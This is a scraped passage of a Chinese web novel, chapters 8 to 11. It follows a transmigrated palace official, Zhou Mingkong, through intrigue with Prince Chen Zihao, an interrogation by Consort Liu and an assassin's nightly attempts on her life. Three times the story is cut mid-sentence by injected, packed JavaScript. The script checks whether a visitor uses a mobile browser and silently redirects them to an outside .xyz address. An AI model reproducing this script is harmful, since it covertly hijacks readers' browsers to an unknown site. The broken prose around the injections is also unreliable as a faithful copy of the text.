或者说不管会与不会,王芮认为他们不会,所以她如此憎恶她,如果没有她的存在,她还可以藏在人群里,赚她的五十两银子。 周明空转过书架,走到陈子兆面前,她知道了王芮的动机,但其实她每一遍问他的如何,是不满多过于疑问。 “殿下似乎觉得她做这些事就是因为她家中没钱,可尚书内省中仅只出身良家的也不是只有她王芮一人,依靠月例维持家人生计的不在少数,”她直视着陈子兆的双眼,“家中钱财数不胜数,还贪图银钱作奸犯科的也不在少数。” “那位孙大人,月例之外家中还开了钱庄、酒楼,为保官位稳妥,还要勾结尚书内省的内官索要消息,不也是错处?总不能也是因为家中贫困?” 陈子兆蹙眉,“你想说什么?” 周明空顿了刹那,她只是觉得不满就一股脑地说了出来,这会想撤回是完全不可能了,只能硬着头皮道:“我只想同殿下说,一个人选择做什么,只是她个人选择而已,不与她出身相关,也无关乎她父母是谁。” 陈子兆的眼睛眯了眯。 周明空飞快退了半步,但陈子兆并没有进一步的动作,他只是盯着她看了半晌,屋内的灯火从周明的身后投下来,将她身体的半侧阴影遮盖在他身上。 她看不透她自己的影子。 陈子兆道:“你还可以问最后一个问题。” 周明空忖度半晌,“其实你多半已经猜到王芮背后的人到底是谁了,对吗?” 这个问题对她其实很重要,因为她也有些猜测,而这个猜测关系到她接下来的游戏难度,“是官家吗?” 陈子兆突然抬脚迈过了门槛,跨过了他一直谨守的那道线,接着他将她推到墙边,手指又一次贴到了她颈项上,“你当真以为我绝对不会杀你?” 【提示:任务失败】 周明空的眼里没有恐惧,只有一种倦怠,“殿下当然可以杀了我,哪怕拼着同归于尽,只是我死了,殿下的布局只怕也不会那么完美。” 死吧,死吧,反正都已经死了这么多次了,再死一次不就是重新读档?最差的结果就是再也回不了家。 陈子兆冷冷地看着她,眸中的光慢慢敛去,过了片刻才收回手,“周明空,不杀你不代表孤畏惧你的手段,也不代表你当真对孤而言有不可取代的作用。” “只是麻烦,你懂吗?” 她垂首,复低眸。 “奴明白。” 陈子兆于她不可见处,握紧了拳头。 他其实分辨不出自己究竟在哪一刻开始愤怒,究竟是她的最后一个问题,还是她说一个人的决定并不与出身有关,但他或许从一开始就没打算回答她的问题。 他辨不清他自己的内心,只好将这疑问付与清风知。 8. 第 8 章 周明空几乎成为了尚书内省的传说。 据当时离偏殿进一些的内官第二天回忆,燕王当时去换书,偏殿管理藏书的周尚仪与殿下没说几句话后便大吵一架,书也没给,就把殿下赶跑了。 杀神吃瘪,而且同一个人的身上连吃两回。 关键她还活着,只能用传说两字形容。 刘长赢这几日看她的眼神像都透着崇拜,好像她浑身都镶了金边。 “明空,你说我拿你的样子雕个小像揣身上,以后是不是也能逢凶化吉,否极泰来?” 正是午膳时间,刘长赢嘴里的包子咬了没两口就问她,包子的热气从口中冒出,主打一个想起什么问什么。 “最好不要。”周明空不由得苦笑。 你如果知道我已经因为他死了99回你也会觉得我命苦。 何况虽然流言传得越发离谱,周明空自己当然知道,实际情况根本就不是那么回事。 昨夜陈子兆是真的怒极。 她见过他发怒,也偶然撞见过他独坐在漆黑寒夜的阴翳里,脸色沉郁,周明空那时抱着乙游攻略的心,该安抚安抚,该送温暖送温暖,结果他照杀不误。 可见他杀人从不取决于她做了什么,只看他当时想不想杀。 所以她昨夜问出最后一个问题之前其实想了很久,只是她直接顶撞陈子兆,说选择与出身无关的话时他都没动怒让她误以为问什么都不会惹怒他。 结果谁知道又判断失误了啊! 她昨晚某一刻真的觉得自己死定了。 可他还是留了她一命。 周明空回去辗转反侧了一夜也没想明白她是怎么活下来的。甚至打开系统页面里男主的好感度提示条盯着看了半天。 那个“0”红得如此显眼醒目,向她昭示着这一次的攻略进程也没有丁点进展的事实。 也对,99轮她做尽了所有选择也拿不到一点好感,还能因为她突然能在某些小事上能控制他获得好感度? 燕王殿下看着应该没这种癖好。 周明空拿筷子夹起自己食盘里的包子吹了吹。算了,填饱肚子要紧,可那包子还没递进嘴,就被一股大力磕碰了手肘,接着手里的包子从筷子里滑出,几个翻滚就落到了地上。 泥尘贴得面皮上都是。 ……。 好歹让她吃一口嘛。 她一转头就碰上了夏宜人冷着的脸,罪魁祸首当然是她。 “抱歉啊,周尚仪,我没看见你坐在此处。不过也要怪你,我没见到你,怎么你自己也不知道避让,该不会真就这般——” “目中无人吧?”夏宜人停了下,接着才挑衅一般地续上了后半句。 周明空有点无语。她坐在桌旁,夏宜人从她背后过来撞了她手肘,她后脑勺又不长眼睛?这人怎么回事?背后偷袭还倒打一耙,不讲武德呢。 其实她近日和夏宜人的关系还可以,毕竟养伤的一个月中有小半个月都是夏宜人帮她换药,虽然还是会拌拌嘴、吵吵架,但她自己觉得已经不像之前那样相看两厌了。 今天这又是怎么回事? 夏宜人骂完了人也不给她回嘴的机会,扭头就走,让周明空很是不解。 就因为昨晚她没给陈子兆拿书? 他自己放弃任务拿不到任务奖励真不能怨她吧。 刘长赢把自己手里的包子分给周明空半个,“今日殿里墨快告罄,吴执事让我和夏宫正两人带几个人去尚仪局领,路过尚食局的时候刚好看见庆宁宫的九枝,她去尚食局取药,说是燕王殿下好像不太舒服,还召了内宿医官。” 分出半个包子,手里那半个还是烫,刘长赢吃得斯哈斯哈的,“九枝说,燕王昨夜一宿没睡,估摸是因为失眠,诱发了什么隐患旧疾。” “你也知道夏宫正什么脾气,她听九枝一说,当时脸色就冷了,估计觉得燕王殿下睡不好准是因为昨夜和你吵的那架。可燕王殿下什么脾气?要真是因为你气得睡不着,还能不来找你麻烦,那我刘字倒过来写。” 手里刚分的半个包子瞬间就不香了。 周明空递还给刘长赢。 “你不吃了?” 她摇了摇头。 这一撞挨得还真不冤枉,她自己知道那一夜失眠确实因她而起。 【失败惩罚:失眠一夜】 她当时只想着问出真相,设定惩罚纯粹是也因为惩罚那个空如果不填发不了任务,她从未想过这会真实作用在他身上,甚至诱发隐患旧疾。 “那殿下他没什么大碍吧?” 刘长赢半个包子入口,说话都有点含混不清,“没有吧,真是特别严重的病,那也不应该只是找内宫当值的内宿医官,早就应该出去找供奉医官了吧?” 周明空从疑惑里又长出点担忧。她仍旧想不明白他为什么会放过她,而拒绝回答固然是他的选择,但如果不是她踩着雷点提问好像也不至于是这么一个后果。 他要真的病得严重,不送罪魁祸首去黄泉的可能性极低,昨天直接惹怒他都没死,要最后因为惩罚设错把自己玩死了那就真的冤死了。 她有些犹豫,要不要走一趟?将昨夜两册没给出去的佛经送过去,顺便看一下他的病情。 可她现在的“人设”是看不惯他的小内官,按照他的计划来说,现在随时有可能会有幕后黑手来接触她,她要是这会儿表现出和他过从甚密的样子,似乎又会打乱他全盘规划。 进也不是,退也不是。 周明空格外怀念原来被杀了就能读档的日子,可惜系统不会再给她重选一次的机会。 她正在这里犹豫迟疑,举棋不定。吴执事忽然走到她面前,见她面前还摆着食盘有些几不可查的不悦,“快收拾一下吧,崔夫人在殿中等你。” 这就来了? 她赶紧把剩下的食物挑挑拣拣分了一部分给刘长赢,剩下的倾倒干净,接着垂手立到吴执事身边,神色恭谨。 “还不知夫人找我何事?” 吴执事不动声色,“去了就知道了,我提醒你,老实答话,千万不要多生事端。” “是。” 刚好是正午,阳光从鬓发间穿过,发丝显得风致楚楚,她知道接下来可能有场硬仗要打,但难免有些走神。 陈子兆,到底怎么样了? 庆宁宫中分外寂静, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454236|185313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫人大都侍立在外,内殿只有燕王陈子兆和请脉的内宿医官张谨。 任务失败,他一夜未眠,可他觉得,或许当时那问题他即便答上来,看不准自己内心这一点,也足以让他一夜睡不安稳,那这么看,一夜难眠似乎也怪不到周明空头上。 就这么枯坐到第二日晨起,他原本准备去练剑,结果刚换完衣衫,从原地站起就突然眼前一黑,倒了回去。 只是刹那间失了神智,片刻就好,他自己没觉得有什么事,庆宁宫的宫人却小题大做,又是请医官又是去拿药。 “脉沉迟,殿下又几夜没睡好?” “习惯了。”惯犯显然没当做什么大事。 张谨的右手三指搭在陈子兆跳动的脉搏上,捻了捻胡子,“老臣兴历三年以大方脉学生中选入仕不久,就为官家和殿下各诊过一次脉,当年便讲,官家不可动气,殿下不可劳心。” “如是经年,老臣在宫中为官家和您诊脉,次次提醒,次次当作耳旁风。老臣实在不知官家与殿下是当真不信任老臣的医术还是觉得自己命太长。” 陈子兆还是笑着,温和谦逊,“哪会不信任您的医术?” 张谨长长地嗯了一声,“那就是觉得自己命长。” 陈子兆用空着的手揉了揉眉心,感觉大概这个医嘱要听上半个时辰,然而出乎他意料的是张谨并没有没完没了地念叨。 他只是有些疑问,“殿下近日在忧心些什么?” “无非还是那些事。” 张谨摇了摇头,“殿下这脉象,忧思更甚呐。” 他下意识捻了捻指尖,那里仿佛还残留着昨夜掐住她脖颈时脉搏剧烈跳动的触感。接着他低下头,吹了吹指腹,如同吹去沾染的尘埃。 没有律动,一切只是幻觉。 殿内是如此安静,安静得令他无奈。 周明空跟随着吴执事走进内殿,她的第一反应也是安静,鞋底落到殿中的青石砖上,她明明每一步都走得很轻,吴执事迈步时的动作看起来也很轻缓,但她们两人的脚步声却交织在一起,密织成网。 她屏住了呼吸,把陈子兆带来的担忧暂时压下,恭谨地走到了殿中。 青石地砖吸尽了所有日光,她眼中只见得一片青黑,没有影子,她不知道殿中等着的人到底是男还是女,更不知道究竟有几个人。 她正沉吟着,就听见身前一声脆响,是瓷器彼此磕碰的声响,好像是有人在她不远处端着一只茶盏在喝茶。 “周明空,荥阳周氏?” 那声音如碎雪,清冷优雅,自有威严。女人的声音,周明空深吸了口气,伏首跪到了地上。 “昨夜燕王来访,似乎与你有些不愉快?” 周明空大脑飞速运转,从众多选项里择了一个出来,“殿下昨夜来尚书内省换佛经,奴为殿下择选多本,均不合殿下心意,殿下有意自己择选,可奴虽不才,也记得偏殿机要重地,外臣不可擅入。” “周明空,你可知错?燕王殿下是官家的亲弟弟,官家留他住在内宫便是没当他是外臣,你还敢阻他?” 周明空头贴到地上,咬了咬牙,这帮大权在握的是吓人有瘾吗! 9. 第 9 章 殿内的空气是沉寂的,周明空在其中嗅见了深秋寒气,她避开了那个对她问罪的问题,“吴执事说是崔夫人叫我。” “夫人有其他事,怎么?我问不得你吗?” “尚书内省自有法度,奴如果昨夜拦燕王殿下拦错了,自有夫人对照条款惩处。” “知道凡事都先问问法度,也算是个聪明人了,”雪化春水,周明空又在那声音里听出几分柔意,她像是刚意识到周明空一直跪趴在地上,“起来答话吧。” 周明空长出了口气,从又冷又硬,硌得膝盖生疼的地面上站起来。 “吴执事,你先退下吧,我同周尚仪说几句话,崔夫人那边我会交代,不让你难办。” 吴执事从刚刚领人进来就开像开了飞行模式,一字不发,一个动作也没有,这会听到那殿中人这样说才躬身行礼退出了殿。 只把周明空扔在原地。 她垂着头,小心翼翼地左右换着重心,好让跪久了膝盖稍微活活血,但动作做得极轻,以防被殿中人看见。 殿中人咳嗽了一声,她慌忙站正“你祖父身体康健?” 周明空怔忪片刻,她穿进来就已经进内尚书省做了女官,当值几年,没出过宫,没接过信,关于身份背景里应该是她祖父的这位“周文公”,她连见都没见过,又怎么知道身体怎么样? 犹豫了半晌,殿中人忽然自嘲一笑,“是我久不在尚书内省当值,所以忘了规矩,你们在这宫中一日,便连家里人也见不得,你祖父如何,只怕你也不清楚。” 周明空听着这段话,瞬间捕捉到了最关键的信息“久不在尚书内省当值”,那合理推测就是她以前一定是在尚书内省当过值。 而她在这影游里走了这么多轮,听吴执事耳提面命多次,说尚书内省百年里也只出了一个从内官做到皇妃的人物—— 反面典型刘娴妃。 也就是说,王芮背后那个人,尚书内省的阴翳里潜藏的另一位大佬极有可能就是她。 周明空感觉自己的心跳在急速加快,但她还是告诫自己不能急,不能暴露目的,尤其绝对不能暴露自己是个卧底。 十指凉得发麻,她也不敢抬头,低头看着自己的指甲因为紧张而陆续变成了浅浅的紫色。 刘娴妃显然知道她刚刚那段话就是在自曝家门,只要是尚书内省的内官都能从这段话里准确判断出她的身份,所以完全不需要其他多余的词句来说明什么。 她从旁拿起茶盏润了下唇,“我出身荥阳刘氏,算起来与你也是同乡,我见了你祖父也要叫上一句舅公,如此算来也是同气连枝,刘氏与周氏在荥阳守望相助了多年,不想今日在宫中你我也有这等缘分。” 嗯,缘分,造孽的缘分。 周明空内心在吐槽,脸上却一丁点异样也不能有,头颅低垂俱是恭谨,“奴怎敢与娘娘攀亲?” 刘娴妃方才好似闲话家常,这会儿又忽然把话锋转了转,“你与燕王究竟是怎么回事?” 周明空早就盘算好了这问题出来该如何处理,一听见问题偏向陈子兆,飞快跪了下来,也不管刚刚才活动了几下的膝盖磕到青石板上又是一声“嘎吱”的哀嚎。 “娘娘救我。” “这是怎么讲?” “官家将燕王留在内宫,让我们尚书内省去给他送书,劝他在宫中修身养性,可燕王一贯喜怒无常,不知为何迁怒于我,那日在门外院中就想杀我泄愤,是我与他言明此事是官家交待,杀我等同抗旨不尊才唬住了他饶我一命。” 膝盖疼得厉害,但是周明空还得把瞎话全编圆满。 “后来是留书敕令,我本来写的便是留书翰林院学士府,可却不知为何竟变成了翰林院,那敕令写完我再三验看都没问题,怎么出了宫门,学士府三个字就不翼而飞?” “我思来想去觉得此事还是与燕王脱不了关系,只怕还是他记恨,想不那么显眼地让我自尚书内省消失,是被赶出宫去也好,被廷杖杖毙也罢,他都不在乎。” “可娘娘明鉴,这错是我自己犯的我也就认,不是我犯的,我若认了不是凭白让害我的人遂了心愿?” 八分真,两分假。 显露在外的实情刘娴妃都能查到,任务系统影响下的秘密只要隐藏好,谁也不会知道。 多亏陈子兆那人多疑、嗜杀的人设不倒,所以她怀疑他的逻辑链条也是完全通顺的。再把刘娴妃本人做的事情往陈子兆那边一甩,好让娴妃觉得她一直就疑心燕王,从没怀疑过别人。 那这卧底位不就稳了吗? 还不等她好好夸赞一下自己的机制,刘娴妃就问她:“那你既然怀疑燕王,又为何不同崔夫人讲明实情?让她禀明官家彻查此事。” 周明空表面做了个黯然伤神的样子,“娘娘,我也不是第一日入宫,先不论他这手段是否留下破绽,即便真被查出问题,奴与他孰轻孰重,官家如何抉择,不用我向娘娘言明吧。” 她跪着,视线也落到地面上,接着她看到一只蚂蚁不知道什么时候钻进殿里,被困在砖石缝隙间不得出,正四处寻找出路,结果却在幽暗灰蒙的缝隙里到处碰壁。 “所以你便干脆认下,却又言明是因燕王而起的念?” 周明空深吸了口气,“今日娘娘与奴讲的是家常,那奴便也当作家常与娘娘您闲话两句。” “燕王——” “权柄过重。” 这是最核心的问题,当今皇帝登基时是二十岁,当时朝中有权臣、外戚,官家如果只有一人,那定然独木难支。 培养新的朝臣太慢,而且终究未必全然可信,所以他当时只能与自己的亲弟弟联手来做。 可权臣和外戚的势力盘根错节,要将他们尽数拔尽也就意味着能与之一敌的必须是另一股可堪抗衡的势力,官家就要放任燕王成长为这样的势力。 于是,等那些人都被除尽,燕王就成了下一个权臣。 刘娴妃担心的就是这个。 不过周明空此时还是不能确定,官家在这之中扮演了什么角色?是他指使?默认?还是全然不知情? 周明空决定赌一把大的。 她还跪在地上,但头却抬起来,注视着面前不远处的刘娴妃,“娘娘,此人不可不防,但也有一句老话,可千日做贼不可千日防贼,他如果当真有不臣之心,那定然防不胜防。” “还当一劳永逸,防患于未然。” “奴可为娘娘效劳。” 刘娴妃的眼睛瞪圆了一瞬,有些不敢置信地看向周明空。 她这是劝她杀燕王? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454237|185313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘娴妃把手里的瓷杯掷出,茶水泼得周明空满身,“就凭你刚才这段话,我报与官家就可治你死罪。” 周明空赶紧又低下头,看见茶盏侧着在地上滚了几圈,最后倒扣在了地上,好巧不巧,正好扣住了那只在砖缝里碰壁求生的蚂蚁。 “奴知罪。” “挑拨离间,诽谤皇亲,可不是一句知罪就能了事的。” 周明空暗自叹了口气,又磕了一头,她这一天净剩下磕头了。 “我会同崔夫人说,这三个月的月例银子尽数扣除,不过你刚才所讲,担忧燕王对你不利,也大可放心,燕王虽说脾气不好,但我的面子他还是要给,你若再碰到他为难你,大可搬我出来。” 周明空赶紧千恩万谢地行了礼。 刘娴妃看着她三拜九叩,礼做全了才道:“我知道你想为官家效忠,可也不是这么个法子,我问你昨夜为何要阻止燕王进殿自己选书,你说是为了维护尚书内省的法度,此心同彼心。我亦要维护辰国法度。” “你若真想做些什么,那守好你的职司,倘若有人与燕王私下有什么联络,你告知崔夫人也好,同我说一句也可,亦或你发现他有什么不端的行为,都能来升平宫和我说一声,真需要你做什么,我自然会告诉你。” “倘若自作主张做下了错事,那可要悔不当初了,周尚仪应当还记得昨日王芮的事?前人之鉴,后人之师。” 周明空应是。 她伏低时看见那只被茶盏扣住的蚂蚁,居然从砖缝和瓷盏的交界处找了一条路,逃出生天。 她看着那只蚂蚁越爬越远,知道自己这把算是赌赢了。 刘娴妃是自己萌生出针对燕王想法的可能性更大。与王芮之事相同,是不是同一个人所为,就要看做事的连贯性。而此时难以判断的点在于刘娴妃与官家几乎可以等同于一体。 已知官家将陈子兆困在内宫,又送佛经去让他修身养性,这是想在他和宫外势力的联系间加一道屏障。知道了陈子兆可能和她这个小内官间有什么瓜葛,就要设计一番,让陈子兆必定会去嫌恶她,这还是要斩除陈子兆在尚书内省安插羽翼的可能。 那想判断这些事具体是谁干的,那就还是要看做事风格。她故意提出了一个看着就莽的方案,刘娴妃既不细问,也不思考,还是让她去做之前王芮做的事。 当眼线、汇报,再执行她的指示。 也就是说,这就是她的思维惯性,而不是另一个人的。 周明空长出了口气。还好,不是地狱级难度。 她偷偷点开了发放任务列表。 【发布任务内容:猜出以下字谜“怪哉,女在门外,木在里”】 【完成奖励:你想知道的幕后黑手真实身份】 【失败惩罚:别想知道了】 陈子兆好不容易送走了张谨,刚想找本书来打发时间就收到了任务。 女在门外,木在里,娴。 他又一次看向指尖,确认纤尘未染,良久方才念叨:“这棋的路已走尽,那便该算是废棋了。” 他身侧一直跟着的下人凑上近前,“殿下的意思是?” “那周明空,还是杀了吧。” 无论她昨夜因为什么乱他心神,只要她成了死人,那便安全了。 10. 第 10 章 要杀周明空有两个人可以下手。 一个是还藏在尚书内省里的暗棋,另一个就是一直跟在陈子兆身边,如影子一样帮他做事的山骨。 暗棋已经出过一次手,无功而返,那这次任务自然就落到了山骨手上。和暗棋不同,山骨并不在尚书内省,不可能用那些神不知鬼不觉的方法,而且他本人其实也并不太擅长这种方法。 山骨跟随陈子兆十几年,需要做的事繁如牛毛,一贯是要讲究化繁就简,能简简单单一刀解决的事就不要用那么多花里胡哨不实用的方法。 因此他是在躲过宫中诸多守卫,潜入尚书内省寝房准备直接给周明空一刀的。 半夜三更,神不知鬼不觉。 第二天只会被人发现一具冷冰冰的尸身。 夜宿枝头的布谷鸟叫了一声,他拔出了刀,月华流进,在刀上反射出一阵耀眼的光,他刺出了手里的刀。 结果刚刚还躺在床上的人飞快打了滚,直接躲过了一刀。 “停停停,先别动手!” 山骨没有任何犹豫,手里刀一个横拍,转刺为砍,周明空没习过武,这一刀按理来讲是绝不可能避过的。 果然,刀刃准确地磕到了周明空肋间,但只听“呛”的一声,山骨拿刀一挑,一面铜镜漏了出来。 她飞快把怀里的镜子取出,两只手分握镜子两边,把镜子举到面前,整个人躲藏到镜子后,只让黄铜镜面面对着山骨。 “聊聊吧,行吗?”周明空有些有气无力。 能在胸口放一块铜镜,她显然早有准备,山骨忖度,在这种情况下他当然还能杀她,但她如果大喊大叫把人喊来,那就会平添不少麻烦。 他啧了一声,“你想聊什么?” 周明空长舒了口气,能聊就不是必死局。 她早有准备还得多亏死的这么多回里也有山骨的功劳! 燕王殿下的这位影子杀手完美主义、效率至上,尤其精通潜行暗杀,只需陈子兆一个命令,他就能潜藏小半日,只为了关键时刻一击毙命。 周明空很有幸,被山骨蹲过三次。 死得太多,导致他白天以为神不知鬼不觉蹲到她屋里的时候,她已经纯靠经验就推测出屋里蹲人了。 然后,又从这位杀手蹲人时为了不显露身形,还顺便帮她清理了下角落里存的灰,这种说不好是不是有点强迫症的风格上合理推断—— 嗯,山骨又来杀她了。 这回又是因为什么啊?陈子兆! 白天不是都告诉你幕后黑手是谁了?怎么还杀!字谜猜不出来吗?出难了?猜不出来不会问一句吗? 她看着面前的影子杀手,对方手里的刀还在烁烁放光。 行吧,问他肯定是问不出什么了,还是先解决眼前问题吧。 “现在的形势很明显,我已经有准备的情况下你再动手我一定会喊,那即便你有把握能跑,宫中那么多守卫、兵卒,也很难保证你不给燕王殿下带去麻烦。”她坐在床上,盘着腿,双手抱着镜子举在面前,以防山骨趁着她说话的时候又偷袭。 山骨确实有偷袭的想法,但是没找到时机,只好好好听了下周明空的话,并且不得不认同她说得对。 “我吧,确实有不能再死了的缘由,所以你如果要杀我,我肯定喊,陈子兆让我为他做事,做完了又卸磨杀驴,这种事本来就是他不地道!”殿下也不喊了,直接就叫名。 山骨不太认同,但也没打断她。 周明空撇了撇嘴,她是很想再多骂陈子兆几句,但这明显对目前的情况没有任何改善,于是转而继续和山骨分析现在的情况。 “你要杀我我肯定跑不掉,我喊出声你会有麻烦,那今晚我们两人就算僵在此处,谁也拿谁没有办法。那不如——” 她顿了顿,从镜子后面探出头,仔细观察山骨的反应,“我们打个赌吧,今日算一次,你每日有一次杀我的机会,如果这一次你没能杀死我,那就要次日再杀,同样的,你每次失败我都不会告发你,就等你明日再来,直到你放弃为止。” “怎么样?” 山骨没说话,似乎是在权衡。 周明空进一步引诱他,“当然,你也可以两到三日觉得我放下戒备再来杀我一次,总之就是你只要当日没动过手,又认为时机合适,那就能杀我。” 影子杀手没遇上过这种情况,即便是早有准备的对象,意图杀他或者跪地求饶的居多,他头一次遇到跟杀手讨价还价的。 可他又觉得,周明空说得在理。 虽然隐约觉得其中有坑。 “这条件已经很优惠了啊,一天一次,你们家殿下上次和我讲价,我都说得是一月一次。” 这是大实话,只是他家殿下和他讲的不是一个价,不过山骨也不知道,只是听她这么一说,他又觉得周明空给的条件好像确实不错。 “可。” 周明空长出了口气,把手里铜镜撂下,走到山骨身前伸出双手握住他还拿刀的手上下晃了半天,“那就成交了,我等你明天再来杀我啊。” 山骨有一刹那极想翻个白眼。 他没能完成任务,又被周明空用赌约限制,再留在尚书内省也没用,因此也不在她寝房里耽搁,提着刀就退出去了。 来时无影,去时无踪,要不是给陈子兆当了手下,周明空觉得他其实更适合去当个江湖侠客。 她把自己那面铜镜放到一旁,结果黄铜镜面刚一落到床榻上就碎裂成了两半,山骨那一刀其实已将镜子劈开了,只是她一发现镜子裂了就飞快用手把它举到面前,硬生生用压力拼成了尚还完好的样子,等他走了才敢让镜子彻底碎开。 她毫不怀疑,如果山骨刚刚就知道镜子已经碎了,那下一刀肯定就要直接砍到脖子上了。 又捡回一条命啊,周明空摸摸自己的颈项。 她这次真的是纯靠经验躲过一劫,到现在也没想明白陈子兆到底为什么又要杀她。她坐在自己的床上,揽过被子来环绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454238|185313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上自己,在寒冷的秋夜里给自己用棉被堆出个暖窝。 他一开始就说了,有些事他的人做不了,必须由她这个明面上就厌恶他的人来做,也就是帮他去幕后黑手那卧底。 他不确定对方的身份,和她一样怀疑背后可能藏着官家,需要有一个人去帮他摸清。 那她帮他遂了愿,摸清了人,也就是没有了利用价值。 又回到了当日桂花树下的情形,她是能给他发布强制任务,甚至能因为一次任务失败让他一夜无眠诱发旧疾的变数。 所以,才要杀她。 想通了这一层,周明空深深吸了口气,把被子又拢紧了一些,和山骨的赌约能拖一时,却不可能一直拖下去。好在目前不管是暗棋还是山骨,这两人的手段她都已经十分清楚,不太可能再直接害死她。 不过治标不治本,她必须在他的眼中一直有用才行。 周明空把拇指放到嘴边咬了咬指甲,该怎么办呢?这是个技术活啊。 山骨回到庆宁宫时,陈子兆还没睡。影子杀手先熟练地从一旁拿了件披肩搭在主子肩头,这才跪下请罪。 陈子兆手里有一册书,是本前朝旧史,山骨走之前他就在翻看,他回来时其实也没看几页。陈子兆干脆把书册合上,向后一靠就靠在了椅背上。 “失败了?” 山骨如果成功,当然不会跪在他面前请罪。 明明应该愤怒或者挫败,但他却只是将书又向前推了推,“说说是怎么回事。” 杀手把所有经过仔仔细细原原本本地讲过,陈子兆嗤笑一声,“你不曾与她打过交道,所以不了解她的算计。” “你今日杀她时她就已经有所准备,那以后又怎么会突然就失了防备?何况她用赌约把你诓在那,你每日杀她一次之后她就能放下戒备,不用再忧心,直到你下次动手,那你哪还有能杀得死她的可能?” 山骨“啊”了一声,终于明白周明空给他挖的坑是什么了。 有规律的暗杀最好防备了。 陈子兆却笑了下,“你还是去杀,能让她上蹿下跳,鸡飞狗跳也没什么不好。” 至少也是有趣的。 他莫名便想起他每次对她动手时,她脸上那麻木的神色。山骨也好,暗棋也好,甚至是王芮也好,这些人要害她,她都要闹得天翻地覆也想活下去,为何独独是他要杀她时,她会流露出那种“你杀了我算了”的麻木神色? 他低头看向自己的手指,烛火会在指腹上勾出一层阴翳,暗黑色的影子看起来像能吞噬人的巨口。 “若属下一直失手,那此人就不杀了吗?” 陈子兆沉吟不语,就在山骨以为他不会再答时,他才缓慢道:“杀,只是你与暗棋现在都拿她没有办法,就需找准她的弱点,伺机而动。” 他站起身,披风被他重新掀开,无风也用不上加衣,指尖靠近烛火,阴翳就被他自行挤走,他看着指腹上的光亮,那上面没有留下丁点阴影存在过的痕迹。 11. 第 11 章 周明空不知道陈子兆那边的情况,她只是很认真地对待“每日一杀”赌约。 她这几天甚至都不吃自己的饭,而是会毫无素质地随机从一个人食盘里拿东西吃,其结果就是这几日尚书内省的内官甚至有人怀疑宫里闹耗子,又去尚食局拿了不少耗子药。 这些周明空也管不得了。 对山骨这种顶尖杀手来说,在她的饮食里放点毒药绝对不算难事,好不容易给自己争取了一线生机,她可一点不想因为吃了口饭喝了口水就功亏一篑。 外朝这几天也很热闹,周明空在侧殿负责分拣文书,要发到外朝的文书有一部分会被暂存,她第一时间就能看见,所以很是吃了不少瓜。 起因是刑部的孙大人前几日判错了一桩旧案叫人翻出来,官家盛怒,当场罢官,位置空出来,原本按照成例是该由下级官员递补,周明空一看刑部送上来的递补申请,这个新任的递补官员叫周明德。 这不就巧了吗?这不是。 周明德,是她堂哥。 官家原本说这种递补直接找照准就行,毕竟那位孙大人犯错,她堂哥又没有,可这手续还没走完,周明空就见外朝又递上来一封奏本。 辰国对百官也有监察制度,其中登闻鼓院就有专门接收检举的部门,她这位堂哥刚开始走流程,登闻鼓院就收到了对他的检举信。 信上说得清楚,说周明德此人在刑部任职期间,居然也有收受贿赂后篡改案卷的事,比如某个杀人犯已经被判了秋后问斩,结果他一番操作下来,犯人不止没被斩,还被放出来继续横行乡里。 这个刑部是真不太行呐,孙大人致力于每天研究官家的想法,而她这堂哥也不是个省油的灯。 再等了没几日,吏部又推荐了一个翰林学士补缺刑部官职,刑部自己不干,有人上书抗辩,说必须等登闻检院的复勘结果出来,如果说周明德压根没有这些腌臜事,根本就是被人诬告,那凭什么要换个人来递补职司? 可吏部又说,他那边嫌疑没洗清,要上登闻检院复勘,那你们刑部的差事还干不干?就这么把位置空着? 两边吵得不可开交。 不过吧,周明空其实隐约品出点味道来。 周家和刘娴妃家都出身荥阳。很难说是不是因为这次王芮的事,刘娴妃干脆把那位孙大人一并除去,再借由拉拢了她周明空的机会,干脆把周家也全都划分到自己阵营里面来。 毕竟周文公的名号还是响亮的。 这职位一开始的变动极有可能是刘娴妃的布局。 那之后登闻鼓院接到的检举和吏部火速选人递补就很有可能是陈子兆干的了。 他现在已经知道了刘娴妃就是那个幕后主使,那按照他的脾气,显然不会让对方的日子过得多么顺当。 所以,外朝这一番热闹缘起于这两位大佬斗法的可能性非常大。 她这边正挑挑拣拣,看看有没有新瓜速递,忽然就看见眼前飞速闪过一道影子,紧跟着就觉得脖子上一紧,一截麻绳已然缠到了颈上。 周明空没有半分慌乱,那绳子越收越紧,她低不下头,就直接伸手在衣袋里一摸,一把剪子被掏出,接着抵到绳子边,两边铁刃轻轻一夹,绳子就断了。 山骨两只手里各捏着一截绳子,多少有点无奈。 